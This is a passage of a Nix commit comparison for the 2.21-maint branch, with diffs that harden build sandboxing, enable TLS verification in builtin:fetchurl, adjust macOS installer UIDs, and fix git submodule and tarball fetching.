Compare commits
97 Commits
dead-code-
...
2.21-maint
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
2c6c438f43 | ||
|
|
2fe6d4ddde | ||
|
|
209db7b7b0 | ||
|
|
3ac6ec9671 | ||
|
|
3824dfde1a | ||
|
|
9f35f27582 | ||
|
|
c8de35f74c | ||
|
|
74b93c1edb | ||
|
|
b429e96583 | ||
|
|
ae8a38d29c | ||
|
|
d7eaeaffd3 | ||
|
|
2790f86305 | ||
|
|
c05219d497 | ||
|
|
08adfadaaf | ||
|
|
0d76be162f | ||
|
|
faa830e9ae | ||
|
|
ec54a54889 | ||
|
|
34f12b5e88 | ||
|
|
b75115ac6f | ||
|
|
a0b8f0f0f6 | ||
|
|
0430b557d4 | ||
|
|
16591ff737 | ||
|
|
9467f25ce6 | ||
|
|
c887e1a102 | ||
|
|
8ad04fe8c7 | ||
|
|
32d5584e09 | ||
|
|
5ed25013f3 | ||
|
|
68dedc533b | ||
|
|
1f8c3fa443 | ||
|
|
2046691498 | ||
|
|
1842768c04 | ||
|
|
a4c921829b | ||
|
|
53ce99f27b | ||
|
|
8ac1a39722 | ||
|
|
ea37d81a0f | ||
|
|
682f60b4f7 | ||
|
|
56140d974e | ||
|
|
211b0d4e13 | ||
|
|
60b62b52d8 | ||
|
|
09e46fef00 | ||
|
|
9feee13952 | ||
|
|
0d68b40dda | ||
|
|
8097437bd0 | ||
|
|
9c5f0fbb82 | ||
|
|
99951d5628 | ||
|
|
ca953d5869 | ||
|
|
822519916c | ||
|
|
30fe48b886 | ||
|
|
8f58b98770 | ||
|
|
409d5c60b6 | ||
|
|
ba13559bd9 | ||
|
|
520a66f201 | ||
|
|
5342d27f0b | ||
|
|
46b6cfbfc6 | ||
|
|
03eb7111fa | ||
|
|
1ebc34e9c5 | ||
|
|
1248da4423 | ||
|
|
3c10c6f15d | ||
|
|
6f6a772da6 | ||
|
|
375acc48ea | ||
|
|
7d1af2cf79 | ||
|
|
8a91b5e1bc | ||
|
|
64d7f56eaa | ||
|
|
1b8ff553bd | ||
|
|
93e8660bba | ||
|
|
b1044d52ce | ||
|
|
c8905a8747 | ||
|
|
3e138de2e0 | ||
|
|
60824fa97c | ||
|
|
d5e029a62e | ||
|
|
ed6dc569bb | ||
|
|
3f2150dcd1 | ||
|
|
0c1fcc2a97 | ||
|
|
4c7f69f531 | ||
|
|
2e93272f19 | ||
|
|
45b2789dc8 | ||
|
|
a643aeccd3 | ||
|
|
c80068c099 | ||
|
|
cb7beb05cd | ||
|
|
b433176028 | ||
|
|
9fe8513e3a | ||
|
|
bd2c466b46 | ||
|
|
355cbc482f | ||
|
|
56555e584f | ||
|
|
92e38fe30c | ||
|
|
b77b2c22c1 | ||
|
|
162cc2a180 | ||
|
|
542b9eff07 | ||
|
|
4e9c7e7a3d | ||
|
|
0d8e2679a5 | ||
|
|
2d1cb49095 | ||
|
|
3272ed0d58 | ||
|
|
fb25bdc7b7 | ||
|
|
53440f4edf | ||
|
|
9e35746360 | ||
|
|
057ffc2e8e | ||
|
|
34807c8906 |
@@ -62,13 +62,17 @@ AC_CHECK_TOOL([AR], [ar])
|
||||
AC_SYS_LARGEFILE
|
||||
|
||||
|
||||
# Solaris-specific stuff.
|
||||
# OS-specific stuff.
|
||||
AC_STRUCT_DIRENT_D_TYPE
|
||||
case "$host_os" in
|
||||
solaris*)
|
||||
# Solaris requires -lsocket -lnsl for network functions
|
||||
LDFLAGS="-lsocket -lnsl $LDFLAGS"
|
||||
;;
|
||||
darwin*)
|
||||
# Need to link to libsandbox.
|
||||
LDFLAGS="-lsandbox $LDFLAGS"
|
||||
;;
|
||||
esac
|
||||
|
||||
|
||||
|
||||
@@ -6,8 +6,6 @@ additional-css = ["custom.css"]
|
||||
additional-js = ["redirects.js"]
|
||||
edit-url-template = "https://github.com/NixOS/nix/tree/master/doc/manual/{path}"
|
||||
git-repository-url = "https://github.com/NixOS/nix"
|
||||
fold.enable = true
|
||||
fold.level = 1
|
||||
|
||||
[preprocessor.anchors]
|
||||
renderers = ["html"]
|
||||
|
||||
@@ -290,10 +290,10 @@ const redirects = {
|
||||
"ssec-gc-roots": "package-management/garbage-collector-roots.html",
|
||||
"chap-package-management": "package-management/package-management.html",
|
||||
"sec-profiles": "package-management/profiles.html",
|
||||
"ssec-s3-substituter": "package-management/s3-substituter.html",
|
||||
"ssec-s3-substituter-anonymous-reads": "package-management/s3-substituter.html#anonymous-reads-to-your-s3-compatible-binary-cache",
|
||||
"ssec-s3-substituter-authenticated-reads": "package-management/s3-substituter.html#authenticated-reads-to-your-s3-binary-cache",
|
||||
"ssec-s3-substituter-authenticated-writes": "package-management/s3-substituter.html#authenticated-writes-to-your-s3-compatible-binary-cache",
|
||||
"ssec-s3-substituter": "store/types/s3-substituter.html",
|
||||
"ssec-s3-substituter-anonymous-reads": "store/types/s3-substituter.html#anonymous-reads-to-your-s3-compatible-binary-cache",
|
||||
"ssec-s3-substituter-authenticated-reads": "store/types/s3-substituter.html#authenticated-reads-to-your-s3-binary-cache",
|
||||
"ssec-s3-substituter-authenticated-writes": "store/types/s3-substituter.html#authenticated-writes-to-your-s3-compatible-binary-cache",
|
||||
"sec-sharing-packages": "package-management/sharing-packages.html",
|
||||
"ssec-ssh-substituter": "package-management/ssh-substituter.html",
|
||||
"chap-quick-start": "quick-start.html",
|
||||
|
||||
7
doc/manual/rl-next/harden-user-sandboxing.md
Normal file
7
doc/manual/rl-next/harden-user-sandboxing.md
Normal file
@@ -0,0 +1,7 @@
|
||||
---
|
||||
synopsis: Harden the user sandboxing
|
||||
significance: significant
|
||||
issues:
|
||||
---
|
||||
|
||||
The build directory has been hardened against interference with the outside world by nesting it inside another directory owned by (and only readable by) the daemon user.
|
||||
8
doc/manual/rl-next/verify-tls.md
Normal file
8
doc/manual/rl-next/verify-tls.md
Normal file
@@ -0,0 +1,8 @@
|
||||
---
|
||||
synopsis: "`<nix/fetchurl.nix>` uses TLS verification"
|
||||
prs: [11585]
|
||||
---
|
||||
|
||||
Previously `<nix/fetchurl.nix>` did not do TLS verification. This was because the Nix sandbox in the past did not have access to TLS certificates, and Nix checks the hash of the fetched file anyway. However, this can expose authentication data from `netrc` and URLs to man-in-the-middle attackers. In addition, Nix now in some cases (such as when using impure derivations) does *not* check the hash. Therefore we have now enabled TLS verification. This means that downloads by `<nix/fetchurl.nix>` will now fail if you're fetching from a HTTPS server that does not have a valid certificate.
|
||||
|
||||
`<nix/fetchurl.nix>` is also known as the builtin derivation builder `builtin:fetchurl`. It's not to be confused with the evaluation-time function `builtins.fetchurl`, which was not affected by this issue.
|
||||
@@ -42,7 +42,6 @@
|
||||
- [Serving a Nix store via HTTP](package-management/binary-cache-substituter.md)
|
||||
- [Copying Closures via SSH](package-management/copy-closure.md)
|
||||
- [Serving a Nix store via SSH](package-management/ssh-substituter.md)
|
||||
- [Serving a Nix store via S3](package-management/s3-substituter.md)
|
||||
- [Remote Builds](advanced-topics/distributed-builds.md)
|
||||
- [Tuning Cores and Jobs](advanced-topics/cores-vs-jobs.md)
|
||||
- [Verifying Build Reproducibility](advanced-topics/diff-hook.md)
|
||||
|
||||
@@ -75,3 +75,7 @@
|
||||
(experimental) can be found by any program that follows the [XDG Base Directory Specification](https://specifications.freedesktop.org/basedir-spec/basedir-spec-latest.html).
|
||||
|
||||
- A new command `nix store add` has been added. It replaces `nix store add-file` and `nix store add-path` which are now deprecated.
|
||||
|
||||
- A new option [`always-allow-substitutes`](@docroot@/command-ref/conf-file.md#conf-always-allow-substitutes) has been added.
|
||||
|
||||
When set to `true`, Nix will always try to substitute a derivation, even if it has the [`allowSubstitutes`]{#adv-attr-allowSubstitutes} attribute set to `false`.
|
||||
|
||||
@@ -200,3 +200,9 @@
|
||||
while performing various operations (including `nix develop`, `nix flake
|
||||
update`, and so on). With several fixes to Nix's signal handlers, Nix
|
||||
commands will now exit quickly after Ctrl-C is pressed.
|
||||
|
||||
- `nix copy` to a `ssh-ng` store now needs `--substitute-on-destination` (a.k.a. `-s`)
|
||||
in order to substitute paths on the remote store instead of copying them.
|
||||
The behavior is consistent with `nix copy` to a different kind of remote store.
|
||||
Previously this behavior was controlled by the
|
||||
`builders-use-substitutes` setting and `--substitute-on-destination` was ignored.
|
||||
|
||||
@@ -14,7 +14,7 @@
|
||||
inherit (nixpkgs) lib;
|
||||
inherit (lib) fileset;
|
||||
|
||||
officialRelease = false;
|
||||
officialRelease = true;
|
||||
|
||||
version = lib.fileContents ./.version + versionSuffix;
|
||||
versionSuffix =
|
||||
@@ -165,7 +165,7 @@
|
||||
|
||||
nix =
|
||||
let
|
||||
officialRelease = false;
|
||||
officialRelease = true;
|
||||
versionSuffix =
|
||||
if officialRelease
|
||||
then ""
|
||||
@@ -177,7 +177,7 @@
|
||||
stdenv
|
||||
versionSuffix
|
||||
;
|
||||
officialRelease = false;
|
||||
officialRelease = true;
|
||||
boehmgc = final.boehmgc-nix;
|
||||
libgit2 = final.libgit2-nix;
|
||||
busybox-sandbox-shell = final.busybox-sandbox-shell or final.default-busybox-sandbox-shell;
|
||||
@@ -263,7 +263,7 @@
|
||||
installerScriptForGHA = installScriptFor [
|
||||
# Native
|
||||
self.hydraJobs.binaryTarball."x86_64-linux"
|
||||
self.hydraJobs.binaryTarball."x86_64-darwin"
|
||||
self.hydraJobs.binaryTarball."aarch64-darwin"
|
||||
# Cross
|
||||
self.hydraJobs.binaryTarballCross."x86_64-linux"."armv6l-unknown-linux-gnueabihf"
|
||||
self.hydraJobs.binaryTarballCross."x86_64-linux"."armv7l-unknown-linux-gnueabihf"
|
||||
|
||||
@@ -112,7 +112,7 @@ sub copyManual {
|
||||
system("xz -d < '$manualNar' | nix-store --restore $tmpDir/manual.tmp") == 0
|
||||
or die "unable to unpack $manualNar\n";
|
||||
rename("$tmpDir/manual.tmp/share/doc/nix/manual", "$tmpDir/manual") or die;
|
||||
system("rm -rf '$tmpDir/manual.tmp'") == 0 or die;
|
||||
File::Path::remove_tree("$tmpDir/manual.tmp", {safe => 1});
|
||||
}
|
||||
|
||||
system("aws s3 sync '$tmpDir/manual' s3://$releasesBucketName/$releaseDir/manual") == 0
|
||||
@@ -279,3 +279,6 @@ system("git remote update origin") == 0 or die;
|
||||
system("git tag --force --sign $version $nixRev -m 'Tagging release $version'") == 0 or die;
|
||||
system("git push --tags") == 0 or die;
|
||||
system("git push --force-with-lease origin $nixRev:refs/heads/latest-release") == 0 or die if $isLatest;
|
||||
|
||||
File::Path::remove_tree($narCache, {safe => 1});
|
||||
File::Path::remove_tree($tmpDir, {safe => 1});
|
||||
|
||||
@@ -25,6 +25,7 @@
|
||||
, libseccomp
|
||||
, libsodium
|
||||
, man
|
||||
, darwin
|
||||
, lowdown
|
||||
, mdbook
|
||||
, mdbook-linkcheck
|
||||
@@ -239,6 +240,7 @@ in {
|
||||
gtest
|
||||
rapidcheck
|
||||
] ++ lib.optional stdenv.isLinux libseccomp
|
||||
++ lib.optional stdenv.hostPlatform.isDarwin darwin.apple_sdk.libs.sandbox
|
||||
++ lib.optional stdenv.hostPlatform.isx86_64 libcpuid
|
||||
# There have been issues building these dependencies
|
||||
++ lib.optional (stdenv.hostPlatform == stdenv.buildPlatform && (stdenv.isLinux || stdenv.isDarwin))
|
||||
|
||||
@@ -41,7 +41,8 @@ perl.pkgs.toPerlModule (stdenv.mkDerivation (finalAttrs: {
|
||||
boost
|
||||
]
|
||||
++ lib.optional (stdenv.isLinux || stdenv.isDarwin) libsodium
|
||||
++ lib.optional stdenv.isDarwin darwin.apple_sdk.frameworks.Security;
|
||||
++ lib.optional stdenv.isDarwin darwin.apple_sdk.frameworks.Security
|
||||
++ lib.optional stdenv.hostPlatform.isDarwin darwin.apple_sdk.libs.sandbox;
|
||||
|
||||
# `perlPackages.Test2Harness` is marked broken for Darwin
|
||||
doCheck = !stdenv.isDarwin;
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
#!/usr/bin/env bash
|
||||
|
||||
((NEW_NIX_FIRST_BUILD_UID=301))
|
||||
((NEW_NIX_FIRST_BUILD_UID=351))
|
||||
|
||||
id_available(){
|
||||
dscl . list /Users UniqueID | grep -E '\b'$1'\b' >/dev/null
|
||||
|
||||
@@ -4,7 +4,17 @@ set -eu
|
||||
set -o pipefail
|
||||
|
||||
# System specific settings
|
||||
export NIX_FIRST_BUILD_UID="${NIX_FIRST_BUILD_UID:-301}"
|
||||
# Notes:
|
||||
# - up to macOS Big Sur we used the same GID/UIDs as Linux (30000:30001-32)
|
||||
# - we changed UID to 301 because Big Sur updates failed into recovery mode
|
||||
# we're targeting the 200-400 UID range for role users mentioned in the
|
||||
# usage note for sysadminctl
|
||||
# - we changed UID to 351 because Sequoia now uses UIDs 300-304 for its own
|
||||
# daemon users
|
||||
# - we changed GID to 350 alongside above just because it hides the nixbld
|
||||
# group from the Users & Groups settings panel :)
|
||||
export NIX_FIRST_BUILD_UID="${NIX_FIRST_BUILD_UID:-351}"
|
||||
export NIX_BUILD_GROUP_ID="${NIX_BUILD_GROUP_ID:-350}"
|
||||
export NIX_BUILD_USER_NAME_TEMPLATE="_nixbld%d"
|
||||
|
||||
readonly NIX_DAEMON_DEST=/Library/LaunchDaemons/org.nixos.nix-daemon.plist
|
||||
|
||||
@@ -23,10 +23,10 @@ readonly RED='\033[31m'
|
||||
# installer allows overriding build user count to speed up installation
|
||||
# as creating each user takes non-trivial amount of time on macos
|
||||
readonly NIX_USER_COUNT=${NIX_USER_COUNT:-32}
|
||||
readonly NIX_BUILD_GROUP_ID="${NIX_BUILD_GROUP_ID:-30000}"
|
||||
readonly NIX_BUILD_GROUP_NAME="nixbld"
|
||||
# each system specific installer must set these:
|
||||
# NIX_FIRST_BUILD_UID
|
||||
# NIX_BUILD_GROUP_ID
|
||||
# NIX_BUILD_USER_NAME_TEMPLATE
|
||||
# Please don't change this. We don't support it, because the
|
||||
# default shell profile that comes with Nix doesn't support it.
|
||||
@@ -530,9 +530,7 @@ It seems the build group $NIX_BUILD_GROUP_NAME already exists, but
|
||||
with the UID $primary_group_id. This script can't really handle
|
||||
that right now, so I'm going to give up.
|
||||
|
||||
You can fix this by editing this script and changing the
|
||||
NIX_BUILD_GROUP_ID variable near the top to from $NIX_BUILD_GROUP_ID
|
||||
to $primary_group_id and re-run.
|
||||
You can export NIX_BUILD_GROUP_ID=$primary_group_id and re-run.
|
||||
EOF
|
||||
else
|
||||
row " Exists" "Yes"
|
||||
|
||||
@@ -5,6 +5,7 @@ set -o pipefail
|
||||
|
||||
# System specific settings
|
||||
export NIX_FIRST_BUILD_UID="${NIX_FIRST_BUILD_UID:-30001}"
|
||||
export NIX_BUILD_GROUP_ID="${NIX_BUILD_GROUP_ID:-30000}"
|
||||
export NIX_BUILD_USER_NAME_TEMPLATE="nixbld%d"
|
||||
|
||||
readonly SERVICE_SRC=/lib/systemd/system/nix-daemon.service
|
||||
|
||||
@@ -202,7 +202,7 @@ static int main_build_remote(int argc, char * * argv)
|
||||
else
|
||||
drvstr = "<unknown>";
|
||||
|
||||
auto error = HintFmt(errorText);
|
||||
auto error = HintFmt::fromFormatString(errorText);
|
||||
error
|
||||
% drvstr
|
||||
% neededSystem
|
||||
|
||||
@@ -581,7 +581,7 @@ std::string AttrCursor::getString()
|
||||
auto & v = forceValue();
|
||||
|
||||
if (v.type() != nString && v.type() != nPath)
|
||||
root->state.error<TypeError>("'%s' is not a string but %s", getAttrPathStr()).debugThrow();
|
||||
root->state.error<TypeError>("'%s' is not a string but %s", getAttrPathStr(), showType(v)).debugThrow();
|
||||
|
||||
return v.type() == nString ? v.c_str() : v.path().to_string();
|
||||
}
|
||||
@@ -630,7 +630,7 @@ string_t AttrCursor::getStringWithContext()
|
||||
else if (v.type() == nPath)
|
||||
return {v.path().to_string(), {}};
|
||||
else
|
||||
root->state.error<TypeError>("'%s' is not a string but %s", getAttrPathStr()).debugThrow();
|
||||
root->state.error<TypeError>("'%s' is not a string but %s", getAttrPathStr(), showType(v)).debugThrow();
|
||||
}
|
||||
|
||||
bool AttrCursor::getBool()
|
||||
|
||||
@@ -144,7 +144,7 @@ static RegisterPrimOp primop_addDrvOutputDependencies({
|
||||
The original string context element must not be empty or have multiple elements, and it must not have any other type of element other than a constant or derivation deep element.
|
||||
The latter is supported so this function is idempotent.
|
||||
|
||||
This is the opposite of [`builtins.unsafeDiscardOutputDependency`](#builtins-addDrvOutputDependencies).
|
||||
This is the opposite of [`builtins.unsafeDiscardOutputDependency`](#builtins-unsafeDiscardOutputDependency).
|
||||
)",
|
||||
.fun = prim_addDrvOutputDependencies
|
||||
});
|
||||
@@ -246,7 +246,7 @@ static RegisterPrimOp primop_getContext({
|
||||
|
||||
/* Append the given context to a given string.
|
||||
|
||||
See the commentary above unsafeGetContext for details of the
|
||||
See the commentary above getContext for details of the
|
||||
context representation.
|
||||
*/
|
||||
static void prim_appendContext(EvalState & state, const PosIdx pos, Value * * args, Value & v)
|
||||
|
||||
@@ -78,7 +78,6 @@ struct FetchSettings : public Config
|
||||
)",
|
||||
{}, true, Xp::Flakes};
|
||||
|
||||
|
||||
Setting<bool> useRegistries{this, true, "use-registries",
|
||||
"Whether to use flake registries to resolve flake references.",
|
||||
{}, true, Xp::Flakes};
|
||||
@@ -94,6 +93,22 @@ struct FetchSettings : public Config
|
||||
empty, the summary is generated based on the action performed.
|
||||
)",
|
||||
{}, true, Xp::Flakes};
|
||||
|
||||
Setting<bool> trustTarballsFromGitForges{
|
||||
this, true, "trust-tarballs-from-git-forges",
|
||||
R"(
|
||||
If enabled (the default), Nix will consider tarballs from
|
||||
GitHub and similar Git forges to be locked if a Git revision
|
||||
is specified,
|
||||
e.g. `github:NixOS/patchelf/7c2f768bf9601268a4e71c2ebe91e2011918a70f`.
|
||||
This requires Nix to trust that the provider will return the
|
||||
correct contents for the specified Git revision.
|
||||
|
||||
If disabled, such tarballs are only considered locked if a
|
||||
`narHash` attribute is specified,
|
||||
e.g. `github:NixOS/patchelf/7c2f768bf9601268a4e71c2ebe91e2011918a70f?narHash=sha256-PPXqKY2hJng4DBVE0I4xshv/vGLUskL7jl53roB8UdU%3D`.
|
||||
)"};
|
||||
|
||||
};
|
||||
|
||||
// FIXME: don't use a global variable.
|
||||
|
||||
@@ -197,6 +197,12 @@ struct GitRepoImpl : GitRepo, std::enable_shared_from_this<GitRepoImpl>
|
||||
return git_repository_is_shallow(*this);
|
||||
}
|
||||
|
||||
void setRemote(const std::string & name, const std::string & url) override
|
||||
{
|
||||
if (git_remote_set_url(*this, name.c_str(), url.c_str()))
|
||||
throw Error("setting remote '%s' URL to '%s': %s", name, url, git_error_last()->message);
|
||||
}
|
||||
|
||||
Hash resolveRef(std::string ref) override
|
||||
{
|
||||
// Handle revisions used as refs.
|
||||
@@ -318,9 +324,7 @@ struct GitRepoImpl : GitRepo, std::enable_shared_from_this<GitRepoImpl>
|
||||
|
||||
std::vector<std::tuple<Submodule, Hash>> getSubmodules(const Hash & rev, bool exportIgnore) override;
|
||||
|
||||
std::string resolveSubmoduleUrl(
|
||||
const std::string & url,
|
||||
const std::string & base) override
|
||||
std::string resolveSubmoduleUrl(const std::string & url) override
|
||||
{
|
||||
git_buf buf = GIT_BUF_INIT;
|
||||
if (git_submodule_resolve_url(&buf, *this, url.c_str()))
|
||||
@@ -328,10 +332,6 @@ struct GitRepoImpl : GitRepo, std::enable_shared_from_this<GitRepoImpl>
|
||||
Finally cleanup = [&]() { git_buf_dispose(&buf); };
|
||||
|
||||
std::string res(buf.ptr);
|
||||
|
||||
if (!hasPrefix(res, "/") && res.find("://") == res.npos)
|
||||
res = parseURL(base + "/" + res).canonicalise().to_string();
|
||||
|
||||
return res;
|
||||
}
|
||||
|
||||
|
||||
@@ -32,6 +32,8 @@ struct GitRepo
|
||||
/* Return the commit hash to which a ref points. */
|
||||
virtual Hash resolveRef(std::string ref) = 0;
|
||||
|
||||
virtual void setRemote(const std::string & name, const std::string & url) = 0;
|
||||
|
||||
/**
|
||||
* Info about a submodule.
|
||||
*/
|
||||
@@ -69,9 +71,7 @@ struct GitRepo
|
||||
*/
|
||||
virtual std::vector<std::tuple<Submodule, Hash>> getSubmodules(const Hash & rev, bool exportIgnore) = 0;
|
||||
|
||||
virtual std::string resolveSubmoduleUrl(
|
||||
const std::string & url,
|
||||
const std::string & base) = 0;
|
||||
virtual std::string resolveSubmoduleUrl(const std::string & url) = 0;
|
||||
|
||||
virtual bool hasObject(const Hash & oid) = 0;
|
||||
|
||||
|
||||
@@ -523,6 +523,9 @@ struct GitInputScheme : InputScheme
|
||||
|
||||
auto repo = GitRepo::openRepo(cacheDir, true, true);
|
||||
|
||||
// We need to set the origin so resolving submodule URLs works
|
||||
repo->setRemote("origin", repoInfo.url);
|
||||
|
||||
Path localRefFile =
|
||||
ref.compare(0, 5, "refs/") == 0
|
||||
? cacheDir + "/" + ref
|
||||
@@ -626,7 +629,7 @@ struct GitInputScheme : InputScheme
|
||||
std::map<CanonPath, nix::ref<InputAccessor>> mounts;
|
||||
|
||||
for (auto & [submodule, submoduleRev] : repo->getSubmodules(rev, exportIgnore)) {
|
||||
auto resolved = repo->resolveSubmoduleUrl(submodule.url, repoInfo.url);
|
||||
auto resolved = repo->resolveSubmoduleUrl(submodule.url);
|
||||
debug("Git submodule %s: %s %s %s -> %s",
|
||||
submodule.path, submodule.url, submodule.branch, submoduleRev.gitRev(), resolved);
|
||||
fetchers::Attrs attrs;
|
||||
@@ -636,6 +639,8 @@ struct GitInputScheme : InputScheme
|
||||
attrs.insert_or_assign("ref", submodule.branch);
|
||||
attrs.insert_or_assign("rev", submoduleRev.gitRev());
|
||||
attrs.insert_or_assign("exportIgnore", Explicit<bool>{ exportIgnore });
|
||||
attrs.insert_or_assign("submodules", Explicit<bool>{ true });
|
||||
attrs.insert_or_assign("allRefs", Explicit<bool>{ true });
|
||||
auto submoduleInput = fetchers::Input::fromAttrs(std::move(attrs));
|
||||
auto [submoduleAccessor, submoduleInput2] =
|
||||
submoduleInput.getAccessor(store);
|
||||
@@ -687,6 +692,9 @@ struct GitInputScheme : InputScheme
|
||||
attrs.insert_or_assign("type", "git");
|
||||
attrs.insert_or_assign("url", submodulePath.abs());
|
||||
attrs.insert_or_assign("exportIgnore", Explicit<bool>{ exportIgnore });
|
||||
attrs.insert_or_assign("submodules", Explicit<bool>{ true });
|
||||
// TODO: fall back to getAccessorFromCommit-like fetch when submodules aren't checked out
|
||||
// attrs.insert_or_assign("allRefs", Explicit<bool>{ true });
|
||||
|
||||
auto submoduleInput = fetchers::Input::fromAttrs(std::move(attrs));
|
||||
auto [submoduleAccessor, submoduleInput2] =
|
||||
|
||||
@@ -248,10 +248,15 @@ struct GitArchiveInputScheme : InputScheme
|
||||
getFileTransfer()->download(std::move(req), sink);
|
||||
});
|
||||
|
||||
auto act = std::make_unique<Activity>(*logger, lvlInfo, actUnknown,
|
||||
fmt("unpacking '%s' into the Git cache", input.to_string()));
|
||||
|
||||
TarArchive archive { *source };
|
||||
auto parseSink = getTarballCache()->getFileSystemObjectSink();
|
||||
auto lastModified = unpackTarfileToSink(archive, *parseSink);
|
||||
|
||||
act.reset();
|
||||
|
||||
TarballInfo tarballInfo {
|
||||
.treeHash = parseSink->sync(),
|
||||
.lastModified = lastModified
|
||||
@@ -294,7 +299,9 @@ struct GitArchiveInputScheme : InputScheme
|
||||
Git revision alone, we also require a NAR hash for
|
||||
locking. FIXME: in the future, we may want to require a Git
|
||||
tree hash instead of a NAR hash. */
|
||||
return input.getRev().has_value() && input.getNarHash().has_value();
|
||||
return input.getRev().has_value()
|
||||
&& (fetchSettings.trustTarballsFromGitForges ||
|
||||
input.getNarHash().has_value());
|
||||
}
|
||||
|
||||
std::optional<ExperimentalFeature> experimentalFeature() const override
|
||||
|
||||
@@ -156,12 +156,35 @@ DownloadTarballResult downloadTarball(
|
||||
|
||||
// TODO: fall back to cached value if download fails.
|
||||
|
||||
auto act = std::make_unique<Activity>(*logger, lvlInfo, actUnknown,
|
||||
fmt("unpacking '%s' into the Git cache", url));
|
||||
|
||||
AutoDelete cleanupTemp;
|
||||
|
||||
/* Note: if the download is cached, `importTarball()` will receive
|
||||
no data, which causes it to import an empty tarball. */
|
||||
TarArchive archive { *source };
|
||||
auto archive =
|
||||
hasSuffix(toLower(parseURL(url).path), ".zip")
|
||||
? ({
|
||||
/* In streaming mode, libarchive doesn't handle
|
||||
symlinks in zip files correctly (#10649). So write
|
||||
the entire file to disk so libarchive can access it
|
||||
in random-access mode. */
|
||||
auto [fdTemp, path] = createTempFile("nix-zipfile");
|
||||
cleanupTemp.reset(path);
|
||||
debug("downloading '%s' into '%s'...", url, path);
|
||||
{
|
||||
FdSink sink(fdTemp.get());
|
||||
source->drainInto(sink);
|
||||
}
|
||||
TarArchive{path};
|
||||
})
|
||||
: TarArchive{*source};
|
||||
auto parseSink = getTarballCache()->getFileSystemObjectSink();
|
||||
auto lastModified = unpackTarfileToSink(archive, *parseSink);
|
||||
|
||||
act.reset();
|
||||
|
||||
auto res(_res->lock());
|
||||
|
||||
Attrs infoAttrs;
|
||||
|
||||
@@ -26,6 +26,7 @@
|
||||
#include <regex>
|
||||
#include <queue>
|
||||
|
||||
#include <sys/stat.h>
|
||||
#include <sys/un.h>
|
||||
#include <fcntl.h>
|
||||
#include <termios.h>
|
||||
@@ -57,6 +58,10 @@
|
||||
#if __APPLE__
|
||||
#include <spawn.h>
|
||||
#include <sys/sysctl.h>
|
||||
#include <sandbox.h>
|
||||
|
||||
/* This definition is undocumented but depended upon by all major browsers. */
|
||||
extern "C" int sandbox_init_with_parameters(const char *profile, uint64_t flags, const char *const parameters[], char **errorbuf);
|
||||
#endif
|
||||
|
||||
#include <pwd.h>
|
||||
@@ -396,20 +401,30 @@ void LocalDerivationGoal::cleanupPostOutputsRegisteredModeNonCheck()
|
||||
static void doBind(const Path & source, const Path & target, bool optional = false) {
|
||||
debug("bind mounting '%1%' to '%2%'", source, target);
|
||||
struct stat st;
|
||||
if (stat(source.c_str(), &st) == -1) {
|
||||
|
||||
auto bindMount = [&]() {
|
||||
if (mount(source.c_str(), target.c_str(), "", MS_BIND | MS_REC, 0) == -1)
|
||||
throw SysError("bind mount from '%1%' to '%2%' failed", source, target);
|
||||
};
|
||||
|
||||
if (lstat(source.c_str(), &st) == -1) {
|
||||
if (optional && errno == ENOENT)
|
||||
return;
|
||||
else
|
||||
throw SysError("getting attributes of path '%1%'", source);
|
||||
}
|
||||
if (S_ISDIR(st.st_mode))
|
||||
if (S_ISDIR(st.st_mode)) {
|
||||
createDirs(target);
|
||||
else {
|
||||
bindMount();
|
||||
} else if (S_ISLNK(st.st_mode)) {
|
||||
// Symlinks can (apparently) not be bind-mounted, so just copy it
|
||||
createDirs(dirOf(target));
|
||||
copyFile(source, target, /* andDelete */ false);
|
||||
} else {
|
||||
createDirs(dirOf(target));
|
||||
writeFile(target, "");
|
||||
bindMount();
|
||||
}
|
||||
if (mount(source.c_str(), target.c_str(), "", MS_BIND | MS_REC, 0) == -1)
|
||||
throw SysError("bind mount from '%1%' to '%2%' failed", source, target);
|
||||
};
|
||||
#endif
|
||||
|
||||
@@ -488,8 +503,24 @@ void LocalDerivationGoal::startBuilder()
|
||||
|
||||
/* Create a temporary directory where the build will take
|
||||
place. */
|
||||
tmpDir = createTempDir("", "nix-build-" + std::string(drvPath.name()), false, false, 0700);
|
||||
topTmpDir = createTempDir("", "nix-build-" + std::string(drvPath.name()), false, false, 0700);
|
||||
#if __APPLE__
|
||||
if (false) {
|
||||
#else
|
||||
if (useChroot) {
|
||||
#endif
|
||||
/* If sandboxing is enabled, put the actual TMPDIR underneath
|
||||
an inaccessible root-owned directory, to prevent outside
|
||||
access.
|
||||
|
||||
On macOS, we don't use an actual chroot, so this isn't
|
||||
possible. Any mitigation along these lines would have to be
|
||||
done directly in the sandbox profile. */
|
||||
tmpDir = topTmpDir + "/build";
|
||||
createDir(tmpDir, 0700);
|
||||
} else {
|
||||
tmpDir = topTmpDir;
|
||||
}
|
||||
chownToBuilder(tmpDir);
|
||||
|
||||
for (auto & [outputName, status] : initialOutputs) {
|
||||
@@ -657,15 +688,19 @@ void LocalDerivationGoal::startBuilder()
|
||||
environment using bind-mounts. We put it in the Nix store
|
||||
so that the build outputs can be moved efficiently from the
|
||||
chroot to their final location. */
|
||||
chrootRootDir = worker.store.Store::toRealPath(drvPath) + ".chroot";
|
||||
deletePath(chrootRootDir);
|
||||
chrootParentDir = worker.store.Store::toRealPath(drvPath) + ".chroot";
|
||||
deletePath(chrootParentDir);
|
||||
|
||||
/* Clean up the chroot directory automatically. */
|
||||
autoDelChroot = std::make_shared<AutoDelete>(chrootRootDir);
|
||||
autoDelChroot = std::make_shared<AutoDelete>(chrootParentDir);
|
||||
|
||||
printMsg(lvlChatty, "setting up chroot environment in '%1%'", chrootRootDir);
|
||||
printMsg(lvlChatty, "setting up chroot environment in '%1%'", chrootParentDir);
|
||||
|
||||
if (mkdir(chrootParentDir.c_str(), 0700) == -1)
|
||||
throw SysError("cannot create '%s'", chrootRootDir);
|
||||
|
||||
chrootRootDir = chrootParentDir + "/root";
|
||||
|
||||
// FIXME: make this 0700
|
||||
if (mkdir(chrootRootDir.c_str(), buildUser && buildUser->getUIDCount() != 1 ? 0755 : 0750) == -1)
|
||||
throw SysError("cannot create '%1%'", chrootRootDir);
|
||||
|
||||
@@ -1703,13 +1738,20 @@ void LocalDerivationGoal::runChild()
|
||||
|
||||
bool setUser = true;
|
||||
|
||||
/* Make the contents of netrc available to builtin:fetchurl
|
||||
(which may run under a different uid and/or in a sandbox). */
|
||||
/* Make the contents of netrc and the CA certificate bundle
|
||||
available to builtin:fetchurl (which may run under a
|
||||
